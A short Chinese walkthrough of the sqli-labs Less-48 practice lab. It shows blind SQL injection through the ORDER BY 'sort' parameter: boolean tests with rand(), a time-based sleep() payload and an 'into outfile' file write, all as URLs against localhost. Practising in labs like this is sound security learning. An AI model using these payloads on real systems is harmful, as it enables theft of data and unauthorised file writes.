本关与less-46的区别在于报错注入不能使用，不进行错误回显，因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)进行判断。
http://127.0.0.1/sqli-labs/Less-48/?sort=rand(ascii(left(database(),1))=178)
http://127.0.0.1/sqli-labs/Less-48/?sort=rand(ascii(left(database(),1))=115)
And后的延时注入
http://127.0.0.1/sqli-labs/Less-48/?sort=1%20and%20(If(ascii(substr(database(),1,1))=115,0,sleep(5)))
不贴效果图了。
本关我们依旧可以用into outfile进行。
http://127.0.0.1/sqllib/Less-48/?sort=1 into outfile "路径"
这里就不进行贴图演示了。
原文：http://www.cnblogs.com/lcamry/p/5762696.html